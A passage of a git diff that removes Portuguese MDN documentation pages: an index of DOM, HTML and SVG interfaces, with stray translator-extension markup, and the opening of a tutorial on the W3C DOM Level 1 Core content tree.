- <li>{{domxref("Entity")}}</li>
- <li>{{domxref("EntityReference")}}</li>
- <li>{{domxref("NamedNodeMap")}}</li>
- <li>{{domxref("NameList")}}</li>
- <li>{{domxref("Notation")}}</li>
- <li>{{domxref("TypeInfo")}}</li>
- <li>{{domxref("UserDataHandler")}}</li>
-</ul>
-</div>
-
-<h2 id="Interfaces_HTML">Interfaces HTML</h2>
-
-<p>A document containing HTML is described using the {{domxref("HTMLDocument")}} interface. Note that the HTML specification also extends the {{domxref("Document")}} interface.</p>
-
-<p>An <code>HTMLDocument</code> object also gives access to various features of browsers like the ta or the window, in which a page is drawn using the {{domxref("Window")}} interface, the {{domxref("window.style", "Style")}} associated to it (usually CSS), the history of the browser relative to the context, {{domxref("window.history", "History")}}. Eventually, {{domxref("Selection")}} is done on the document.</p>
-
-<h3 id="Interfaces_de_elemento_HTML">Interfaces de elemento HTML</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("HTMLAnchorElement")}}</li>
- <li>{{domxref("HTMLAppletElement")}}</li>
- <li>{{domxref("HTMLAreaElement")}}</li>
- <li>{{domxref("HTMLAudioElement")}}</li>
- <li>{{domxref("HTMLBaseElement")}}</li>
- <li>{{domxref("HTMLBodyElement")}}</li>
- <li>{{domxref("HTMLBRElement")}}</li>
- <li>{{domxref("HTMLButtonElement")}}</li>
- <li>{{domxref("HTMLCanvasElement")}}</li>
- <li>{{domxref("HTMLDataElement")}}</li>
- <li>{{domxref("HTMLDataListElement")}}</li>
- <li>{{domxref("HTMLDialogElement")}}</li>
- <li>{{domxref("HTMLDirectoryElement")}}</li>
- <li>{{domxref("HTMLDivElement")}}</li>
- <li>{{domxref("HTMLDListElement")}}</li>
- <li>{{domxref("HTMLElement")}}</li>
- <li>{{domxref("HTMLEmbedElement")}}</li>
- <li>{{domxref("HTMLFieldSetElement")}}</li>
- <li>{{domxref("HTMLFontElement")}}</li>
- <li>{{domxref("HTMLFormElement")}}</li>
- <li>{{domxref("HTMLFrameElement")}}</li>
- <li>{{domxref("HTMLFrameSetElement")}}</li>
- <li>{{domxref("HTMLHeadElement")}}</li>
- <li>{{domxref("HTMLHeadingElement")}}</li>
- <li>{{domxref("HTMLHtmlElement")}}</li>
- <li>{{domxref("HTMLHRElement")}}</li>
- <li>{{domxref("HTMLIFrameElement")}}</li>
- <li>{{domxref("HTMLImageElement")}}</li>
- <li>{{domxref("HTMLInputElement")}}</li>
- <li>{{domxref("HTMLKeygenElement")}}</li>
- <li>{{domxref("HTMLLabelElement")}}</li>
- <li>{{domxref("HTMLLegendElement")}}</li>
- <li>{{domxref("HTMLLIElement")}}</li>
- <li>{{domxref("HTMLLinkElement")}}</li>
- <li>{{domxref("HTMLMapElement")}}</li>
- <li>{{domxref("HTMLMediaElement")}}</li>
- <li>{{domxref("HTMLMenuElement")}}</li>
- <li>{{domxref("HTMLMetaElement")}}</li>
- <li>{{domxref("HTMLMeterElement")}}</li>
- <li>{{domxref("HTMLModElement")}}</li>
- <li>{{domxref("HTMLObjectElement")}}</li>
- <li>{{domxref("HTMLOListElement")}}</li>
- <li>{{domxref("HTMLOptGroupElement")}}</li>
- <li>{{domxref("HTMLOptionElement")}}</li>
- <li>{{domxref("HTMLOutputElement")}}</li>
- <li>{{domxref("HTMLParagraphElement")}}</li>
- <li>{{domxref("HTMLParamElement")}}</li>
- <li>{{domxref("HTMLPreElement")}}</li>
- <li>{{domxref("HTMLProgressElement")}}</li>
- <li>{{domxref("HTMLQuoteElement")}}</li>
- <li>{{domxref("HTMLScriptElement")}}</li>
- <li>{{domxref("HTMLSelectElement")}}</li>
- <li>{{domxref("HTMLSourceElement")}}</li>
- <li>{{domxref("HTMLSpanElement")}}</li>
- <li>{{domxref("HTMLStyleElement")}}</li>
- <li>{{domxref("HTMLTableElement")}}</li>
- <li>{{domxref("HTMLTableCaptionElement")}}</li>
- <li>{{domxref("HTMLTableCellElement")}}</li>
- <li>{{domxref("HTMLTableDataCellElement")}}</li>
- <li>{{domxref("HTMLTableHeaderCellElement")}}</li>
- <li>{{domxref("HTMLTableColElement")}}</li>
- <li>{{domxref("HTMLTableRowElement")}}</li>
- <li>{{domxref("HTMLTableSectionElement")}}</li>
- <li>{{domxref("HTMLTextAreaElement")}}</li>
- <li>{{domxref("HTMLTimeElement")}}</li>
- <li>{{domxref("HTMLTitleElement")}}</li>
- <li>{{domxref("HTMLTrackElement")}}</li>
- <li>{{domxref("HTMLUListElement")}}</li>
- <li>{{domxref("HTMLUnknownElement")}}</li>
- <li>{{domxref("HTMLVideoElement")}}</li>
-</ul>
-</div>
-
-<h3 id="Outras_interfaces">Outras interfaces</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("CanvasRenderingContext2D")}}</li>
- <li>{{domxref("CanvasGradient")}}</li>
- <li>{{domxref("CanvasPattern")}}</li>
- <li>{{domxref("TextMetrics")}}</li>
- <li>{{domxref("ImageData")}}</li>
- <li>{{domxref("CanvasPixelArray")}}</li>
- <li>{{domxref("NotifyAudioAvailableEvent")}}</li>
- <li>{{domxref("HTMLAllCollection")}}</li>
- <li>{{domxref("HTMLFormControlsCollection")}}</li>
- <li>{{domxref("HTMLOptionsCollection")}}</li>
- <li>{{domxref("HTMLPropertiesCollection")}}</li>
- <li>{{domxref("DOMStringMap")}}</li>
- <li>{{domxref("RadioNodeList")}}</li>
- <li>{{domxref("MediaError")}}</li>
-</ul>
-</div>
-
-<h3 id="Interfaces_HTML_obsoletas_obsolete_inline">Interfaces HTML obsoletas {{obsolete_inline}}</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("HTMLBaseFontElement")}}</li>
- <li>{{domxref("HTMLIsIndexElement")}}</li>
-</ul>
-</div>
-
-<h2 id="SGV_-_Interfaces">SGV - Interfaces</h2>
-
-<h3 id="Interfaces_de_elemento_SVG">Interfaces de elemento SVG</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("SVGAElement")}}</li>
- <li>{{domxref("SVGAltGlyphElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGAltGlyphDefElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGAltGlyphItemElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGAnimationElement")}}</li>
- <li>{{domxref("SVGAnimateElement")}}</li>
- <li>{{domxref("SVGAnimateColorElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGAnimateMotionElement")}}</li>
- <li>{{domxref("SVGAnimateTransformElement")}}</li>
- <li>{{domxref("SVGCircleElement")}}</li>
- <li>{{domxref("SVGClipPathElement")}}</li>
- <li>{{domxref("SVGColorProfileElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGComponentTransferFunctionElement")}}</li>
- <li>{{domxref("SVGCursorElement")}}</li>
- <li>{{domxref("SVGDefsElement")}}</li>
- <li>{{domxref("SVGDescElement")}}</li>
- <li>{{domxref("SVGElement")}}</li>
- <li>{{domxref("SVGEllipseElement")}}</li>
- <li>{{domxref("SVGFEBlendElement")}}</li>
- <li>{{domxref("SVGFEColorMatrixElement")}}</li>
- <li>{{domxref("SVGFEComponentTransferElement")}}</li>
- <li>{{domxref("SVGFECompositeElement")}}</li>
- <li>{{domxref("SVGFEConvolveMatrixElement")}}</li>
- <li>{{domxref("SVGFEDiffuseLightingElement")}}</li>
- <li>{{domxref("SVGFEDisplacementMapElement")}}</li>
- <li>{{domxref("SVGFEDistantLightElement")}}</li>
- <li>{{domxref("SVGFEDropShadowElement")}}</li>
- <li>{{domxref("SVGFEFloodElement")}}</li>
- <li>{{domxref("SVGFEFuncAElement")}}</li>
- <li>{{domxref("SVGFEFuncBElement")}}</li>
- <li>{{domxref("SVGFEFuncGElement")}}</li>
- <li>{{domxref("SVGFEFuncRElement")}}</li>
- <li>{{domxref("SVGFEGaussianBlurElement")}}</li>
- <li>{{domxref("SVGFEImageElement")}}</li>
- <li>{{domxref("SVGFEMergeElement")}}</li>
- <li>{{domxref("SVGFEMergeNodeElement")}}</li>
- <li>{{domxref("SVGFEMorphologyElement")}}</li>
- <li>{{domxref("SVGFEOffsetElement")}}</li>
- <li>{{domxref("SVGFEPointLightElement")}}</li>
- <li>{{domxref("SVGFESpecularLightingElement")}}</li>
- <li>{{domxref("SVGFESpotLightElement")}}</li>
- <li>{{domxref("SVGFETileElement")}}</li>
- <li>{{domxref("SVGFETurbulenceElement")}}</li>
- <li>{{domxref("SVGFilterElement")}}</li>
- <li>{{domxref("SVGFilterPrimitiveStandardAttributes")}}</li>
- <li>{{domxref("SVGFontElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGFontFaceElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGFontFaceFormatElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGFontFaceNameElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGFontFaceSrcElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGFontFaceUriElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGForeignObjectElement")}}</li>
- <li>{{domxref("SVGGElement")}}</li>
- <li>{{domxref("SVGGeometryElement")}}</li>
- <li>{{domxref("SVGGlyphElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGGlyphRefElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGGradientElement")}}</li>
- <li>{{domxref("SVGGraphicsElement")}}</li>
- <li>{{domxref("SVGHatchElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGHatchpathElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGHKernElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGImageElement")}}</li>
- <li>{{domxref("SVGLinearGradientElement")}}</li>
- <li>{{domxref("SVGLineElement")}}</li>
- <li>{{domxref("SVGMarkerElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGMaskElement")}}</li>
- <li>{{domxref("SVGMeshElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGMeshGradientElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGMeshpatchElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGMeshrowElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGMetadataElement")}}</li>
- <li>{{domxref("SVGMissingGlyphElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGMPathElement")}}</li>
- <li>{{domxref("SVGPathElement")}}</li>
- <li>{{domxref("SVGPatternElement")}}</li>
- <li>{{domxref("SVGPolylineElement")}}</li>
- <li>{{domxref("SVGPolygonElement")}}</li>
- <li>{{domxref("SVGRadialGradientElement")}}</li>
- <li>{{domxref("SVGRectElement")}}</li>
- <li>{{domxref("SVGScriptElement")}}</li>
- <li>{{domxref("SVGSetElement")}}</li>
- <li>{{domxref("SVGSolidcolorElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGStopElement")}}</li>
- <li>{{domxref("SVGStyleElement")}}</li>
- <li>{{domxref("SVGSVGElement")}}</li>
- <li>{{domxref("SVGSwitchElement")}}</li>
- <li>{{domxref("SVGSymbolElement")}}</li>
- <li>{{domxref("SVGTextContentElement")}}</li>
- <li>{{domxref("SVGTextElement")}}</li>
- <li>{{domxref("SVGTextPathElement")}}</li>
- <li>{{domxref("SVGTextPositioningElement")}}</li>
- <li>{{domxref("SVGTitleElement")}}</li>
- <li>{{domxref("SVGTRefElement")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGTSpanElement")}}</li>
- <li>{{domxref("SVGUseElement")}}</li>
- <li>{{domxref("SVGUnknownElement")}} {{experimental_inline}}</li>
- <li>{{domxref("SVGViewElement")}}</li>
- <li>{{domxref("SVGVKernElement")}} {{deprecated_inline}}</li>
-</ul>
-</div>
-
-<h3 id="Interfaces_de_tipo_de_dados_SVG">Interfaces de tipo de dados SVG</h3>
-
-<p>Here are the DOM API for data types used in the definitions of SVG properties and attributes.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> Starting in {{Gecko("5.0")}}, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed ; in addition, they have a length property indicating the number of items in the lists: {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}}, and {{domxref("SVGPointList")}}.</p>
-</div>
-
-<h4 id="Tipo_estático">Tipo estático</h4>
-
-<div class="index">
-<ul>
- <li>{{domxref("SVGAngle")}}</li>
- <li>{{domxref("SVGColor")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGICCColor")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGElementInstance")}}</li>
- <li>{{domxref("SVGElementInstanceList")}}</li>
- <li>{{domxref("SVGLength")}}</li>
- <li>{{domxref("SVGLengthList")}}</li>
- <li>{{domxref("SVGMatrix")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGNameList")}}</li>
- <li>{{domxref("SVGNumber")}}</li>
- <li>{{domxref("SVGNumberList")}}</li>
- <li>{{domxref("SVGPaint")}}</li>
- <li>{{domxref("SVGPathSeg")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegClosePath")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegMovetoAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegMovetoRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegLinetoAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegLinetoRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoCubicAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoCubicRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoQuadraticAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoQuadraticRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegArcAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegArcRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegLinetoHorizontalAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegLinetoHorizontalRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegLinetoVerticalAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegLinetoVerticalRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoCubicSmoothAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoCubicSmoothRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegCurvetoQuadraticSmoothRel")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPathSegList")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPoint")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPointList")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGPreserveAspectRatio")}}</li>
- <li>{{domxref("SVGRect")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGStringList")}}</li>
- <li>{{domxref("SVGTransform")}}</li>
- <li>{{domxref("SVGTransformList")}}</li>
-</ul>
-</div>
-
-<h4 id="Tipo_animado">Tipo animado</h4>
-
-<div class="index">
-<ul>
- <li>{{domxref("SVGAnimatedAngle")}}</li>
- <li>{{domxref("SVGAnimatedBoolean")}}</li>
- <li>{{domxref("SVGAnimatedEnumeration")}}</li>
- <li>{{domxref("SVGAnimatedInteger")}}</li>
- <li>{{domxref("SVGAnimatedLength")}}</li>
- <li>{{domxref("SVGAnimatedLengthList")}}</li>
- <li>{{domxref("SVGAnimatedNumber")}}</li>
- <li>{{domxref("SVGAnimatedNumberList")}}</li>
- <li>{{domxref("SVGAnimatedPathData")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGAnimatedPoints")}}</li>
- <li>{{domxref("SVGAnimatedPreserveAspectRatio")}}</li>
- <li>{{domxref("SVGAnimatedRect")}}</li>
- <li>{{domxref("SVGAnimatedString")}}</li>
- <li>{{domxref("SVGAnimatedTransformList")}}</li>
-</ul>
-</div>
-
-<h3 id="Interfaces_relacionadas_com_SMIL">Interfaces relacionadas com SMIL</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("ElementTimeControl")}}</li>
- <li>{{domxref("TimeEvent")}}</li>
-</ul>
-</div>
-
-<h3 id="Outras_interfaces_SVG">Outras interfaces SVG</h3>
-
-<div class="index">
-<ul>
- <li>{{domxref("GetSVGDocument")}}</li>
- <li>{{domxref("ShadowAnimation")}}</li>
- <li>{{domxref("SVGColorProfileRule")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGCSSRule")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGDocument")}}</li>
- <li>{{domxref("SVGException")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGExternalResourcesRequired")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGFitToViewBox")}}</li>
- <li>{{domxref("SVGLangSpace")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGLocatable")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGRenderingIntent")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGStylable")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGTests")}}</li>
- <li>{{domxref("SVGTransformable")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGUnitTypes")}}</li>
- <li>{{domxref("SVGUseElementShadowRoot")}}</li>
- <li>{{domxref("SVGURIReference")}}</li>
- <li>{{domxref("SVGViewSpec")}} {{deprecated_inline}}</li>
- <li>{{domxref("SVGZoomAndPan")}}</li>
- <li>{{domxref("SVGZoomEvent")}} {{deprecated_inline}}</li>
-</ul>
-</div>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/DOM/DOM_Reference/Exemplos">Exemplos de DOM</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html
deleted file mode 100644
index 1f9949733b..0000000000
--- a/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: Utilizando o Núcleo DOM de Nível 1 do W3C
-slug: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
-tags:
- - DOM
-translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
-original_slug: Using_the_W3C_DOM_Level_1_Core
----
-<p>O 'Núcleo DOM de Nível 1 do W3C' é um modelo de objetos poderoso para alterar o conteúdo de uma árvore de documentos. É suportado em todos os navegadores principais, incluindo o Mozilla Firefox e o Microsoft Internet Explorer. É uma base poderosa para scrips na <em>Web</em>.</p>
-
-<h2 id="What_is_a_content_tree.3F" name="What_is_a_content_tree.3F"> O que é uma árvore de conteúdos?</h2>
-
-<p>Muitos autores HTML pensam que o HTML é algo plano -- um punhado de texto com tags no meio. Entretanto, é muito mais do que somente isso. Qualquer documento HTML (ou do mesmo modo em qualquer documento SGML ou XML) é uma estrutura de árvore. Por exemplo, o seguinte documento e estrutura de árvore são similares (embora não sejam idênticos -- veja as notas em <a href="/en/Whitespace_in_the_DOM" title="en/Whitespace_in_the_DOM">espaços em branco no DOM</a>):</p>
-
-<pre class="brush: html">&lt;html&gt;
-&lt;head&gt;
- &lt;title&gt;My Document&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
- &lt;h1&gt;Header&lt;/h1&gt;
- &lt;p&gt;Paragraph&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<p><img alt="image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg" class="internal" src="/@api/deki/files/415/=Using_the_W3C_DOM_Level_1_Core-doctree.jpg"></p>
-
-<p>Quando o Mozilla interpreta um documento, ele constrói uma árvore de conteúdos e então a utiliza para mostrar o documento.</p>
-
-<p>Os termos utilizados para descrever árvores se aparecem frequentemente no Núcleo DOM Nível 1. Cada uma das caixas desenhadas na árvore acima é um nó na árvore. A linha acima de um nó expressa um relacionamento pai-filho: o nó ao topo é o pai, e o nó abaixo é o filho. Dois filhos do mesmo pai são, portanto, irmãos. Similarmente, pode-se referenciar ancestrais e descentes (Apesar de primos serem um tanto confusos).</p>
-
-<h3 id="What_does_the_DOM_Level_1_Core_let_me_do.3F" name="What_does_the_DOM_Level_1_Core_let_me_do.3F">O que o Núcleo DOM Nível 1 me permite fazer?</h3>
-
-<p>O DOM Nível 1 da W3C permite que você altere o conteúdo da árvore <em>do modo que você desejar</em>. É poderoso o bastante para construir qualquer documento HTML a partir do zero. Ele permite autores alterar qualquer coisa no documento a partir de um script, a qualquer instante. O modo mais fácil de um autor de uma página alterar o DOM dinamicamente é utilizando JavaScript. Em JavaScript, o documento é acessível do mesmo modo que em navegadores antigos: através da propriedade <code>document</code> do objeto global. Esse objeto <code>document</code> implementa a <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#i-Document">interface Document</a> da especificação do Nível 1 do DOM do W3C.</p>
-
-<h3 id="A_simple_example" name="A_simple_example">Um exemplo simples</h3>
-
-<p>Suponha que autor queira  pegar o documento acima e alterar o conteúdo do cabeçalho, e escrever dois parágrafos ao invés de um. O seguinte script irá fazer o trabalho:</p>
-
